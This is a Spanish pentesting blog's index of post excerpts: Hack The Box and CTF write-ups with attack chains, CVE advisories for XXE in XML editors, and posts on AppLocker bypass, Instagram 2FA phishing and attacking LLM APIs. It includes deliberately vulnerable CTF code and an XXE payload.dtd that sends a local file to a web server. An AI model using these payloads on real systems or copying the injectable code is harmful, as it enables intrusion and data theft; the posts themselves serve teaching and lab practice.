Posts on Hackpuntes

Logging WriteUp

Sat, 18 Jul 2026 00:00:00 +0000

Logging es una máquina de dificultad 🟧 Media de Hack The Box, y es de esas de Active Directory en las que vas encadenando un fallo detrás de otro hasta quedarte con todo el dominio. Empezamos leyendo una contraseña en texto plano que alguien dejó tirada en un log, abusamos de permisos sobre una cuenta gMSA para sacar su hash, saltamos a otro usuario con un DLL hijacking en una tarea programada, y para el final nos pedimos un certificado de ADCS por ESC1 y suplantamos un servidor WSUS para ejecutar código como SYSTEM en el Domain Controller. Suena a mucho, pero lo vamos a ir viendo con calma y por partes.

CCTV WriteUp

Sat, 11 Jul 2026 00:00:00 +0000

CCTV es una máquina de dificultad 🟩 Easy de la plataforma Hack The Box. Combina la explotación de una SQL Injection en ZoneMinder para obtener credenciales de un usuario SSH, con el descubrimiento de servicios internos de video-vigilancia tras pivotar desde la máquina comprometida. La escalada a root se consigue a través de un RCE autenticado en motionEye.

🗺️ Cadena de Ataque

Nmap → Puerto 80 (ZoneMinder 1.37.63)
│
▼
Credenciales por defecto admin:admin → acceso al panel
│
▼
CVE-2024-51482 (Boolean SQLi) → sqlmap → mark:opensesame
│
▼
SSH como mark
│
▼
LinPEAS → tcpdump (cap_net_raw) + puertos internos
│
▼
Port Forwarding → motionEye 0.43.1b4 en :8765
│
▼
/etc/motioneye/motion.conf → admin:989c5a8ee87a0e9521ec81a79187d162109282f0
│
▼
CVE-2025-60787 (Metasploit RCE) → root 🏴

🔍 Reconocimiento

Escaneo de Puertos

echo "10.129.15.204 cctv.htb" | sudo tee -a /etc/hosts
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv cctv.htb
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv cctv.htb

Puerto	Servicio	Detalle
`22`	SSH	OpenSSH 9.6p1 Ubuntu
`80`	HTTP	Apache 2.4.58 → `SecureVision CCTV`

La superficie de ataque es pequeña. El puerto 22 no es vulnerable, así que nos centramos en el 80.

DevArea WriteUp

Sat, 04 Jul 2026 00:00:00 +0000

DevArea es una máquina de dificultad 🟧 Media de la plataforma Hack The Box, corresponde a la Season 10 y ha sido creada por EmSec. Simula un entorno de desarrollo con múltiples servicios expuestos, un servicio web SOAP sobre Apache CXF/Jetty, un servidor FTP con acceso anónimo y una plataforma de virtualización de servicios Hoverfly. El objetivo es encadenar una vulnerabilidad de lectura de ficheros con abuso de API para obtener acceso inicial, y después explotar una misconfiguración crítica en el binario bash del sistema para escalar a root.

WingData WriteUp

Sat, 27 Jun 2026 00:00:00 +0000

WingData es una máquina de dificultad 🟩 Fácil de la plataforma Hack The Box, Season 10, creada por WackyH4cker. La cadena de ataque combina la explotación de un Wing FTP Server vulnerable para obtener acceso inicial, extracción y crackeo de credenciales desde ficheros de configuración, y escalada de privilegios mediante una vulnerabilidad en el módulo tarfile de Python.

🗺️ Cadena de Ataque

Reconocimiento → Puerto 80 + 22
│
▼
Enumeración web → ftp.wingdata.htb (Wing FTP Server v7.4.3)
│
▼
CVE-2025-47812 → RCE sin autenticación → Shell como wingftp
│
▼
/opt/wftpserver/Data/1/users/wacky.xml → Hash SHA-256 con sal
│
▼
Hashcat (modo 1410) → Contraseña en texto claro → SSH como wacky
│
▼
sudo -l → restore_backup_clients.py (root) → CVE-2025-4517
│
▼
Tar malicioso → path traversal → /etc/sudoers → root 🏴

🔍 Reconocimiento

Configuración de /etc/hosts

Antes de empezar, añadimos la IP de la máquina al fichero /etc/hosts para poder usar el nombre de dominio en todas las herramientas:

NanoCorp WriteUp

Sat, 20 Jun 2026 00:00:00 +0000

NanoCorp es una máquina de dificultad 🟥 Hard de la plataforma Hack The Box. La cadena de ataque empieza en un portal de empleo que acepta CVs en ZIP: empaquetando un fichero .library-ms malicioso (CVE-2025-24071) conseguimos que el servidor, al extraerlo, intente autenticarse por SMB contra nuestra máquina, filtrando el hash NetNTLMv2 de una cuenta de servicio. Tras crackear esa contraseña, usamos BloodHound para mapear el dominio y descubrimos una cadena de abuso de DACLs que nos permite unirnos a un grupo privilegiado y resetear la contraseña de otra cuenta de servicio con acceso WinRM. La escalada final explota CVE-2024-0670 en el agente de monitorización Checkmk, abusando de la reparación de su instalador MSI para ejecutar nuestro propio script como NT AUTHORITY\SYSTEM.

VariaType WriteUp

Sat, 13 Jun 2026 00:00:00 +0000

VariaType es una máquina de dificultad 🟧 Media de la plataforma Hack The Box, Season 10. La cadena de ataque pasa por descubrir un repositorio Git expuesto en un portal interno, extraer credenciales del historial de commits, explotar una escritura arbitraria de ficheros en fontTools para obtener una shell, moverse lateralmente abusando de la inyección de comandos en FontForge mediante un archivo ZIP malicioso, y escalar a root aprovechando un path traversal en setuptools a través de una regla sudo mal configurada.

Facts WriteUp

Sat, 06 Jun 2026 00:00:00 +0000

Facts es una máquina de dificultad 🟩 Easy de la plataforma Hack The Box. Combina la explotación de un CMS web con una fuga de credenciales hacia un servidor de almacenamiento MinIO compatible con la API S3, del que extraemos una clave privada SSH protegida por contraseña. La escalada de privilegios se consigue abusando de un binario permitido en sudo.

🗺️ Cadena de Ataque

Nmap → Puerto 80 (CamaleonCMS 2.9.0) + Puerto 54321 (MinIO)
│
▼
CVE-2025-2304 → Privilege Escalation + S3 Config Leak
│
▼
Credenciales MinIO → Bucket "internal"
│
▼
.ssh/id_ed25519 (clave privada cifrada)
│
▼
ssh2john + john → passphrase: dragonballz → usuario: trivia
│
▼
sudo /usr/bin/facter → custom fact (.rb) → /bin/bash como root 🏴

🔍 Reconocimiento

Escaneo de Puertos

Hacemos el reconocimiento en dos fases: descubrimiento rápido y luego detección de versiones sobre los puertos encontrados.

Interpreter WriteUp

Sat, 30 May 2026 00:00:00 +0000

Interpreter es una máquina de dificultad 🟨 Media de la plataforma Hack The Box, Season 10. La cadena de ataque combina la explotación de Mirth Connect 4.4.0 mediante deserialización Java insegura para obtener RCE sin autenticación, extracción de credenciales desde la base de datos interna, crackeo de un hash PBKDF2-HMAC-SHA256 y escalada de privilegios abusando de un servicio Flask con inyección en f-strings de Python.

🗺️ Cadena de Ataque

Reconocimiento → Puertos 22, 80, 443
│
▼
Enumeración web → Mirth Connect 4.4.0 (via JNLP)
│
▼
CVE-2023-43208 → Deserialización Java insegura → RCE como mirth
│
▼
/usr/local/mirthconnect/conf/mirth.properties → Credenciales BD
│
▼
MariaDB (mc_bdd_prod) → Hash PBKDF2-HMAC-SHA256 de sedric
│
▼
Hashcat (modo 10900) → snowflake1 → SSH como sedric
│
▼
/usr/local/bin/notif.py → Flask + eval() en f-strings → SSTI
│
▼
SUID bash → root 🏴

🔍 Reconocimiento

Configuración de /etc/hosts

Antes de empezar, añadimos la IP de la máquina al fichero /etc/hosts:

MonitorsFour WriteUp

Sat, 23 May 2026 00:00:00 +0000

MonitorsFour es una máquina de dificultad 🟩 Fácil de la plataforma Hack The Box. La cadena de ataque comienza explotando un endpoint con IDOR y comparación laxa de PHP para filtrar credenciales de administrador, continúa con ejecución remota de código en Cacti 1.2.28 mediante CVE-2025-24367 y concluye escapando del contenedor Docker abusando de la API del daemon expuesta sin autenticación en la subred interna de Docker Desktop (CVE-2025-9074).

Pterodactyl WriteUp

Sat, 16 May 2026 00:00:00 +0000

Pterodactyl es una máquina de dificultad 🟧 Medium de la plataforma Hack The Box, correspondiente a la Season 10 (semana 2). El nombre no es casual, el vector principal es Pterodactyl Panel, un gestor de servidores de juego open-source ampliamente desplegado en Internet. La cadena de ataque combina un path traversal no autenticado que expone PEAR y permite RCE, seguido de extracción de credenciales de base de datos, crackeo de hash bcrypt para pivotar a un usuario con SSH, y escalada a root encadenando CVE-2025-6018 (PAM) con CVE-2025-6019 (udisks2/libblockdev).

Overwatch WriteUp

Sat, 09 May 2026 00:00:00 +0000

Overwatch es una máquina de dificultad 🟧 Media de la plataforma Hack The Box. La cadena de ataque pasa por enumerar un share SMB accesible sin autenticación para obtener un binario .NET con credenciales embebidas, conectarse a un servidor MSSQL en puerto no estándar para descubrir un linked server mal configurado, envenenar el DNS del dominio (ADIDNS) para interceptar el hash NTLMv2 de una cuenta de servicio, acceder vía WinRM y escalar privilegios abusando de un servicio WCF interno con inyección de comandos en el método KillProcess.

Fridagate - Herramienta Android para gestionar Frida e interceptar tráfico con Burp Suite

Wed, 15 Apr 2026 00:00:00 +0000

Fridagate es una aplicación Android open source diseñada para pentesters de aplicaciones móviles. Permite gestionar frida-server, interceptar tráfico HTTPS con Burp Suite e inyectar scripts de bypass directamente desde el dispositivo, sin necesidad de ejecutar comandos manualmente en cada sesión de auditoría.

El proyecto nació de una necesidad real: durante una auditoría de apps Android el flujo habitual implica conectar por ADB, subir frida-server, darle permisos, arrancarlo, configurar el proxy del sistema, añadir reglas iptables… Fridagate automatiza todo eso desde una interfaz limpia en el propio teléfono.

DarkZero WriteUp

Sat, 04 Apr 2026 00:00:00 +0000

DarkZero es una máquina de dificultad 🟥 Hard de la plataforma Hack The Box que modela un entorno de Active Directory empresarial con dos dominios separados, multihoming y vectores de ataque avanzados. El objetivo final es comprometer completamente ambos Domain Controllers.

Al empezar, nos proporcionan unas credenciales iniciales: 🔑 john.w:RFulUtONCOL!

🗺️ Cadena de Ataque

Antes de entrar en detalle, aquí el resumen de la cadena completa:

Credenciales john.w
│
▼
MSSQL DC01 (guest) ──linked server──► MSSQL DC02 (sysadmin)
│
▼
xp_cmdshell ► Shell como svc_sql en DC02 (172.16.20.2)
│
▼
Ligolo-MP ► Acceso a red interna 172.16.20.0/24
│
▼
AD CS (Certify) ► Hash NTLM de svc_sql ► Cambio de contraseña
│
▼
RunasCs (LogonType 5) ► SeImpersonatePrivilege
│
▼
SigmaPotato ► NT AUTHORITY\SYSTEM en DC02
│
▼
Rubeus monitor + xp_dirtree ► TGT de DC01$
│
▼
Pass-the-Ticket ► secretsdump ► Hash Administrator DC01
│
▼
evil-winrm ► Administrator en DC01 🏴

🔍 Reconocimiento

Escaneo de Puertos

Hacemos el reconocimiento en dos fases, primero descubrimos los puertos abiertos de forma rápida y luego lanzamos los scripts de detección sobre ellos.

PortSwigger Labs - Exploiting LLM APIs with Excessive Agency

Mon, 09 Mar 2026 00:00:00 +0000

Estás auditando una aplicación web que integra un Large Language Model (LLM) como asistente de soporte al cliente. A simple vista parece inofensivo, el usuario pregunta, el modelo responde. Pero debajo de esa interfaz de chat se esconde algo mucho más peligroso, el LLM tiene acceso directo a una API de depuración que ejecuta comandos SQL arbitrarios sobre la base de datos de producción.

Solucionando el Error de Kerberos KRB_AP_ERR_SKEW

Tue, 03 Mar 2026 00:00:00 +0000

Estás en pleno ejercicio de intrusión, has logrado comprometer una plantilla de certificados vulnerable en Active Directory Certificate Services (ADCS) y ya tienes en tu poder el preciado archivo administrator.pfx. El siguiente paso lógico es solicitar un Ticket Granting Ticket (TGT) y extraer el hash del administrador. Lanzas certipy-ad con una sonrisa en la cara y, de repente, la terminal te escupe esto:

Firmado de IPAs con Sideloadly

Sat, 13 Dec 2025 00:00:00 +0000

En el ecosistema cerrado de Apple, la ejecución de código arbitrario es el primer muro con el que nos topamos. Históricamente, dependíamos del jailbreak para auditar aplicaciones, pero en entornos corporativos o con dispositivos de última generación (donde un jailbreak estable puede no existir), necesitamos adaptarnos.

Aquí es donde entra el concepto de Sideloading. Básicamente, abusamos de la funcionalidad de Free Developer Account de Apple para firmar nuestras propias aplicaciones (o aplicaciones de terceros modificadas) y desplegarlas en el dispositivo objetivo. Aunque existen herramientas como AltStore, hoy nos centraremos en Sideloadly, una navaja suiza que no solo firma, sino que facilita la inyección de librerías dinámicas (.dylib / Frida Gadgets) al vuelo.

Androdialer Writeup

Mon, 08 Dec 2025 00:00:00 +0000

AndroDialer: la experiencia telefónica definitiva

Introducción

¿Alguna vez has querido librarte de las limitaciones del marcador habitual de tu Android? ¡Te presentamos AndroDialer! Una app de marcado elegante y completa que lleva tus llamadas al siguiente nivel.

Reúne una organización inteligente de contactos, widgets de marcado rápido personalizables y un modo “Business Focus” que filtra las interrupciones para que mantengas el control de cada conversación. Entre bastidores, AndroDialer ofrece analíticas de llamadas en profundidad para ayudarte a detectar tendencias de comunicación, además de funciones de seguridad mejoradas. Su interfaz altamente adaptable se completa con temas claro y oscuro, límites de tiempo de llamada y ajustes totalmente personalizados que logran el equilibrio ideal entre eficiencia y elegancia, tanto para llamadas personales como profesionales.

AppLocker: Bypass de Reglas por Defecto con MSBuild

Sat, 06 Dec 2025 00:00:00 +0000

AppLocker se ha convertido en una de las primeras líneas de defensa para restringir qué software puede ejecutarse en un entorno corporativo. Sin embargo, una implementación apresurada que confíe ciegamente en las Reglas Predeterminadas (Default Rules) puede dar una falsa sensación de seguridad.

Si un administrador configura AppLocker permitiendo todo lo firmado por Microsoft o todo lo que resida en C:\Windows\*, un usuario malintencionado podría aprovechar binarios nativos del sistema (LOLBins) para ejecutar código arbitrario. Hoy vamos a diseccionar cómo MSBuild.exe puede convertirse en nuestra puerta de entrada para una sesión de Meterpreter, evadiendo estas restricciones básicas.

Descubriendo Tradecraft Garden

Tue, 02 Dec 2025 00:00:00 +0000

Aprovechando las ofertas del reciente Black Friday, decidí adquirir el curso CRTL (Certified Red Team Lead) de ZeroPointSecurity. Si bien el material del curso es denso y técnico (como era de esperar de Rasta Mouse ), una de las primeras joyas con las que me he topado no está oculta detrás de un paywall, sino que es un proyecto público que merece mucha más atención: Tradecraft Garden .

TryHackMe - Machine - Pickle Rick v2

Mon, 17 Nov 2025 00:00:00 +0000

¡Buenas, hackers! 👋

Hoy, nos sumergimos en la máquina Pickle Rick de TryHackMe. Es un desafío clásico de nivel 🟩 Fácil, perfecto para practicar la enumeración web y la escalada de privilegios básica.

🚀 Antes de empezar

Añadimos la máquina al archivo /etc/hosts, comprobamos la conexión con ping y creamos las carpetas de trabajo

echo '10.10.34.26\tpicklerick.thm' | sudo tee -a /etc/hosts
ping -c 1 picklerick.thm
mkdir -p ~/thm/picklerick/{exploits,fuzz,http,nmap}
cd ~/thm/picklerick/

🔎 Reconocimiento

Escaneo de puertos con Nmap

Comprobamos todos los puertos que están abiertos, detectamos el servicio y su versión con nmap y generamos all.html para ver la información.

Snyk Fetch The Flag - TimeOff

Sun, 09 Mar 2025 00:00:00 +0000

En este desafío de CTF, se nos asigna la tarea de realizar un pentest en una aplicación web basada en el patrón Modelo-Vista-Controlador (MVC) y desarrollada en Ruby on Rails. La aplicación permite a los empleados de una empresa solicitar tiempo de descanso, y se nos proporciona el código fuente junto con dos credenciales (admin y user).

Al analizar la aplicación, notamos que el formulario para solicitar tiempo de descanso permite la subida de archivos, lo cual es un punto de interés a revisar en cualquier auditoría web.

Snyk Fetch The Flag - Coding Mountains

Sat, 08 Mar 2025 00:00:00 +0000

Los retos de scripting son mis favoritos en los CTF, y este, sin duda, ha sido mi preferido en Snyk Fetch The Flag 2025. El desafío consiste en responder 50 preguntas rápidas sobre las montañas más famosas del mundo. Debemos responder con su altura (en pies) y el año en el que fueron escaladas por primera vez, utilizando el siguiente formato: height,year.

Snyk Fetch The Flag - ClickityClack

Fri, 07 Mar 2025 00:00:00 +0000

En este reto, partimos de un fichero pcapng que contiene la flag oculta en su interior. Inicialmente, intenté analizarlo con Wireshark, pero no encontraba nada relevante. Fue entonces cuando una simple búsqueda en Google me dio la pista clave:

pcapng usb ctf

Esta búsqueda me llevó a descubrir una herramienta llamada Usb_Keyboard_Parser.py que parsea los paquetes de tráfico USB, como las pulsaciones de teclas.

Snyk Fetch The Flag - Science 100

Thu, 06 Mar 2025 00:00:00 +0000

En este desafío de CTF, nos encontramos con un terminal de Robco Industries similar al que aparece en la saga del videojuego Fallout. Nuestra misión es descifrar la contraseña correcta utilizando la mecánica de Likeness (similitud), que nos indica cuántas letras coinciden en la posición exacta con la palabra clave.

🖥️ Conectando al reto

$ nc challenge.ctf.games 32377

Al conectarnos, el sistema nos da la bienvenida y nos presenta una lista de posibles contraseñas camufladas entre símbolos aleatorios.

Snyk Fetch The Flag - CTF 101

Wed, 05 Mar 2025 00:00:00 +0000

Este reto está diseñado como una introducción a los CTFs (Capture The Flag). Es un desafío sencillo que permite familiarizarse con la explotación de vulnerabilidades en aplicaciones web.

Al analizar el código fuente proporcionado, observamos que se trata de una aplicación web desarrollada con Flask (Python), cuyo código es el siguiente:

from flask import Flask, render_template, request, redirect, flash
import subprocess

app = Flask(__name__)
app.secret_key = "supersecretkey"

@app.route("/", methods=["GET", "POST"])
def index():
 if request.method == "POST":
 name = request.form.get("name", "").strip()

 if not name:
 flash("Error: Name cannot be empty.", "error")
 return redirect("/")

 try:
 # I sure hope no one tries to run any commands by injecting here...
 output = subprocess.check_output(f"echo {name}", shell=True, text=True, stderr=subprocess.STDOUT)
 flash(f"Hello, {output.strip()}! Good luck!", "success")
 # ...alright, the challenges won't be this obvious on game day, but I hope it gives you a good idea of how the game is played!
 except subprocess.CalledProcessError as e:
 flash(f"Error: {e.output.strip()}", "error")

 return redirect("/")

 return render_template("index.html")

if __name__ == "__main__":
 app.run(host="0.0.0.0", port=5000)

🔍 ¿Dónde está la vulnerabilidad?

El problema principal radica en el siguiente fragmento de código:

Snyk Fetch The Flag - Screaming Crying Throwing up

Tue, 04 Mar 2025 00:00:00 +0000

Este reto consiste en descifrar un binario cifrado con scream . Para ello, podemos utilizar la herramienta Scream Cipher Translator .

Si abrimos el archivo screaming.bin en VSCode, veremos el siguiente contenido:

a̮ăaa̋{áa̲aȧa̮ȧaa̮áa̲a̧ȧȧa̮ȧaa̲a̧aa̮ȧa̲aáa̮a̲aa̲a̮aaa̧}

Sin embargo, si usamos cat en la terminal (CMD, PowerShell o Bash), obtenemos un resultado diferente:

$ cat screaming.bin
aăaa{áaaȧaȧaaáaaȧȧaȧaaaaaȧaaáaaaaaaaa}

⚠️ ¡Atención! ⚠️

El contenido del archivo puede verse distinto dependiendo del visor utilizado. Esto es clave al momento de analizar el cifrado y evitar confusiones. 🧐

Snyk Fetch The Flag - Unfurl

Mon, 03 Mar 2025 00:00:00 +0000

En este reto nos enfrentamos a una aplicación web que obtiene los metadatos de cualquier URL ingresada en el formulario.

Un análisis rápido del código fuente revela que la aplicación está desarrollada en NodeJS, y el uso del módulo child_process sugiere la posibilidad de una ejecución remota de comandos (RCE).

📄 Archivo adminRoutes.js

const { exec } = require('child_process');

router.get('/execute', (req, res) => {
 // This isn't terribly secure, but we're only going to bind this app to the localhost so you'd need to be on the actual host to run any commands.
 // So I think we're good!
 const clientIp = req.ip;

 // Definitely making sure to lock this down to the localhost
 if (clientIp !== '127.0.0.1' && clientIp !== '::1') {
 console.warn(`[WARN] Unauthorized access attempt from ${clientIp}`);
 return res.status(403).send('Forbidden: Access is restricted to localhost.');
 }

 const cmd = req.query.cmd;

 if (!cmd) {
 return res.status(400).send('No command provided!');
 }

 exec(cmd, (error, stdout, stderr) => {
 if (error) {
 console.error(`[ERROR] Command execution failed: ${error.message}`);
 return res.status(500).send(`Error: ${error.message}`);
 }

 console.log(`[INFO] Command executed: ${cmd}`);
 res.send(`
 <h1>Command Output</h1>
 <pre>${stdout || stderr}</pre>
 <a href="/admin">Back to Admin Panel</a>
 `);
 });
});

El código indica que la aplicación permite ejecutar comandos en el endpoint /execute a través del parámetro cmd, pero solo localmente.

Snyk Fetch The Flag - Zero Ex Six One

Sun, 02 Mar 2025 00:00:00 +0000

En este desafío obtenemos un archivo llamado flag.txt.encry, el cual contiene una cadena en formato hexadecimal.

$ cat flag.txt.encry
0x070x0d0x000x060x1a0x020x540x510x050x590x530x020x510x000x530x540x070x520x040x570x550x550x050x510x560x510x530x030x550x500x050x030x050x510x590x540x000x1c

La 💡 pista en la descripción del reto sugiere que se ha utilizado un cifrado XOR, y el título del desafío, Zero Ex Six One, podría indicar que la clave de cifrado es 0x61

I'm XORta out of ideas for how to get the flag. Does this look like anything to you?

Solución 1 - Usando la clave de cifrado

En esta primera solución, convertimos la cadena hexadecimal en bytes y aplicamos un cifrado XOR con la clave 🔑 0x61.

HTB Machine BountyHunter

Sat, 20 Nov 2021 00:00:00 +0000

Descripción general

Bienvenido al writeup de la máquina bountyhunter de la plataforma Hack The Box. BountyHunter es una máquina Linux que estuvo activa desde el 24 de julio hasta el 20 de noviembre. En esta máquina encontraremos una vulnerabilidad XXE que usaremos junto con un wrapper PHP para leer ficheros internos y obtener información sensible. Con la información obtenida nos conectaremos por SSH y una vez dentro analizaremos un script Python para descubrir cómo abusarlo y conseguir ejecución de código como root.

HTB Machine Explore

Sat, 30 Oct 2021 00:00:00 +0000

Bienvenido al writeup de la máquina explore de la plataforma Hack The Box. Explore es una máquina Android de dificultad fácil.

Antes de empezar

Conectamos a la VPN de Hack The Box en segundo plano con TMUX

tmux new -s htb
sudo openvpn ~/.vpn/htb.ovpn

Añadimos la máquina al fichero /etc/hosts, comprobamos la conexión con ping y creamos las carpetas de trabajo

echo '10.10.10.247 explore.htb' >> /etc/hosts
ping -c 4 explore.htb
mkdir -p ~/htb/explorer.htb/{exploits,fuzz,http,nmap}

Reconocimiento

Comprobamos todos los puertos abiertos, detectamos el servicio y su versión con nmap

No, Facebook no ha sido hackeado ni ha tenido una brecha de seguridad

Mon, 05 Apr 2021 00:00:00 +0000

Recientemente, ha saltado una noticia en diversos medios de comunicación y RRSS sobre una supuesta brecha de seguridad en Facebook que expondría la información de 533 millones de personas de todo el mundo, en concreto, sus números telefónicos y direcciones.

Esta entrada tiene como finalidad dar a conocer el impacto real de dicha brecha de seguridad (desde mi punto de vista) a aquellos usuarios que no tienen la posibilidad de acceder a ella o han sido mal informados por ciertos medios de comunicación o «Gurús» de la ciberseguridad de este país.

Crear tu propia VPN sin logs

Tue, 24 Nov 2020 00:00:00 +0000

Bienvenidos a este tutorial sobre como montar nuestra propia VPN sin logs mediante la configuración de un servidor OpenVPN en una máquina en la nube.

Antes de empezar con el tutorial, deberemos de crear una máquina en la nube, yo he usado el VPS de DigitalOcean en el cual tengo una máquina Ubuntu 20.04 por 5$ al mes, puedes usar el siguiente enlace para obtener 100$ gratis.

Crear una máquina en la nube

Como he comentado al principio, he elegido DigitalOcean como VPS, pero existen otros como Linode, Azure o AWS. Para crear una máquina Ubuntu 20.04 deberemos de ir a la parte superior derecha de nuestro panel y seleccionar Create -> Droplets.

reNgine – Framework de reconocimiento automatizado para aplicaciones web

Mon, 19 Oct 2020 00:00:00 +0000

1. Sobre reNgine

Dashboard de la aplicación reNgine

reNgine es un framework de reconocimineto automatizado para aplicaciones web utilizado para realizar la fase de recopilación de información durante las auditorías, cuenta con varios motores de escaneo personalizables que pueden ayudarnos para:

Escanear puertos en los servidores de aplicaciones.
Enumerar subdominios.
Buscar directorios y archivos.
Encontrar endpoints.
Tomar capturas de pantalla.

Escalada de privilegios en Windows mediante grupo Administradores de DNS

Thu, 16 Apr 2020 00:00:00 +0000

Cuando tomamos el control de una máquina, el siguiente paso es la escalada de privilegios para hacernos con el control total de ella. En la siguiente entrada, veremos como conseguirlo aprovechándonos del grupo de administradores DNS y la inyección de una dll maliciosa.

Pasos a seguir

Comprobar que el usuario comprometido forma parte del grupo de administradores DNS.

whoami /all

Enviar tráfico de Burp Suite a través de VPS

Mon, 13 Apr 2020 00:00:00 +0000

Cuando estamos auditando una aplicación externa con Burp Suite, podemos encontrarnos en un entorno con restricciones de red, por ejemplo, un firewall podría interferir en nuestros paquetes y descartarlos o modificarlos, lo que daría como resultado falsos positivos o la anulación de ciertas pruebas de seguridad.

En esta entrada, veremos como enviar el tráfico del proxy de Burp Suite a través de una máquina linux en la nube (VPS) para evitar estos problemas u otros similares.

Creación de un bot en Telegram para notificar conexiones por SSH

Thu, 09 Apr 2020 00:00:00 +0000

Ahora que estamos más tiempo en casa debido a la situación excepcional que vivimos a causa del Covid-19, podemos aprovechar e intentar agregar algún tipo de seguridad en nuestra red interna, por eso pense en escribir este breve post, tan sencillo como útil… la de notificarnos cuando alguien accede a uno de nuestros dispositivos.

En este artículo, vamos a crear un bot de Telegram que nos avise cada vez que se inicie sesión por SSH en alguno de nuestros dispositivos (para este ejemplo, usaré mi Raspberry).

Añadir CA de Burp Suite al almacén de certificados de Kali Linux

Sun, 29 Mar 2020 00:00:00 +0000

Durante un programa privado de bug bounty, estuve utilizando las herramientas cURL, gobuster y sqlmap a través del proxy de Burp Suite. Como siempre y por vagancia, configuraba las herramientas para que ignoraran el certificado de PortSwigger (por ejemplo, la opción -k en cURL).

En caso de no añadir opciones de ignorar certificados a nuestras herramientas, podemos obtener errores del tipo SSL certificate problem.

Evasión del doble factor de autenticación en Instagram

Sun, 19 Jan 2020 00:00:00 +0000

El doble factor de autenticación (2FA) es una capa adicional de seguridad para proteger las cuentas de los usuarios en diferentes servicios de Internet. Muchas personas piensan que al tener habilitada esta característica sus cuentas están completamente protegidas, pero esto no es así.

Hace unos meses escribí una entrada de cómo se realizaría el proceso de ataque para evadir el 2FA en el servicio de Gmail.

En este caso, he preparado una herramienta similar a 2FAGmailPhishing pero para el servicio de Instagram.

Seguimiento y análisis de un correo electrónico sospechoso

Mon, 23 Dec 2019 00:00:00 +0000

En este post vamos a intentar explicar de manera resumida cómo se puede realizar un seguimiento de un correo electrónico sospechoso (Este caso es real y se han anonimizado todos los datos).

Para llevar a cabo este laboratorio, se han utilizado las siguientes herramientas:

MxToolboox (Analyzer Headers)

Whois

Microsoft Outlook

Buscadores de Internet

Ahora vamos a explicar lo ocurrido.

Un cliente se pone en contacto con nosotros, indicando que ha recibido un correo sospechoso, por lo que le solicitamos que envíe adjunto el correo original (formato .msg).

Cabeceras de seguridad HTTP

Wed, 11 Dec 2019 00:00:00 +0000

Las Cabeceras HTTP son parámetros que se envían en una petición o respuesta HTTP entre el cliente y el servidor para proporcionar información esencial sobre la transacción que se esté llevando a cabo. Estas cabeceras siempre utilizan la sintaxis «Cabecera: Valor» y a continuación veremos cuales son las cabeceras de respuesta más importantes enfocándonos en la seguridad.

HTTP Strict Transport Security (HSTS)

Esta cabecera permite indicar a un navegador que siempre se utilice el protocolo HTTPS para establecer la comunicación entre el cliente y servidor (en lugar de HTTP). Esto significa que cualquier marcador, enlace, recurso o dirección forzará a los usuarios a hacer uso de HTTPS, inclusive si el propio usuario especifica el uso de HTTP.

CVE-2019-19032 XMLBlueprint <= 16.191112 - Inyección XML (XXE)

Mon, 25 Nov 2019 00:00:00 +0000

Resumen

Se ha detectado una vulnerabilidad de inyección XML (XXE) basada en entidades externas (DTD) en el software XMLBlueprint versión 16.191112 y posiblemente anteriores. Esta vulnerabilidad está asociada al CVE-2019-19032 .

Impacto

Un usuario malintencionado, podría generar un archivo XML malicioso con la intención de causar una denegación de servicio a la aplicación o leer archivos arbitrarios del sistema.

Prueba de concepto

Iniciar un servidor web.

python -m SimpleHTTPServer 80

Subir el siguiente archivo payload.dtd al servidor.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:80/?%file;'>">
%all;

Crear un archivo de texto (secret.txt) en el escritorio con cualquier contenido.

CVE-2019-19031 Easy XML Editor <= 1.7.8 - Inyección XML

Fri, 22 Nov 2019 00:00:00 +0000

Resumen

Se ha detectado una vulnerabilidad de inyección XML basada en entidades externas (DTD) en el software Easy XML Editor versión 1.7.8 y posiblemente anteriores. Esta vulnerabilidad está asociada al CVE-2019-19031 .

Impacto

Un usuario malintencionado, podría generar un archivo XML malicioso con la intención de causar una denegación de servicio a la aplicación o leer archivos arbitrarios del sistema.

Prueba de concepto

Iniciar un servidor web.

python -m SimpleHTTPServer 80

Subir el siguiente archivo payload.dtd al servidor.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:80/?%file;'>">
%all;

Crear un archivo de texto (secret.txt) en el escritorio con cualquier contenido.

Hackpuntes Newsletter #3

Mon, 21 Oct 2019 00:00:00 +0000

Hola de nuevo, Pentesters!! Tercera entrega de esta serie de entradas, espero que os sea de ayuda. Esta newsletter cubre la semana del 14 de octubre al 20 de octubre de 2019.

🧰 Herramienta

Brozzler

Brozzler en un rastreador web distribuido desarrollado en Python que utiliza el navegador para buscar páginas y URL con el fin de extraer enlaces. Se diferencia con otras tecnologías de rastreo al interactuar mediante el navegador real y registrar las interacciones entre los servidores web y clientes.

Hackpuntes Newsletter #2

Mon, 14 Oct 2019 00:00:00 +0000

Hola Pentesters!! Segunda entrega de esta serie de entradas, espero que os sea de ayuda. Esta newsletter cubre la semana del 07 de octubre al 13 de octubre de 2019.

🧰 Herramienta

TotalRecon

Este script no es una herramienta como tal, pero nos ayuda a instalar algunas de las mejores orientadas a la fase de reconocimiento.

Fast web fuzzer (ffuf)
Dirsearch
Findomain
Httprobe
Masscan
Nmap
Sublist3r
WhatWeb
Subjack
Amass
Waybackurls
Meg
GitGraber
getJS
LinkFinder
MassDNS
EyeWitness

📝 Writeup

Referencia insegura a objeto que lleva a la ejecución de comandos

Hackpuntes Newsletter #1

Mon, 07 Oct 2019 00:00:00 +0000

Bienvenidos a la primera entrega de hackpuntes newsletter, semanalmente, iremos publicando todos los lunes recursos valiosos para pentesters y bug bounty hunters.

Este newsletter cubre la semana del 30 de septiembre al 6 de octubre de 2019.

🧰 Herramienta

HRShell

Es una shell reversa capaz de ejecutar servidores HTTP/HTTPS con generación de certificados SSL «sobre la marcha», permite la configuración de proxy en el cliente y es fácilmente extensible. Ha sido desarrollado con Flask y es multiplataforma, muy buena herramienta para nuestras tareas de post-explotación.

Las 4 estaciones de Sidertia

Sun, 29 Sep 2019 00:00:00 +0000

Otoño,Invierno,Primavera,Verano…. y La Tierra completó su movimiento de traslación.

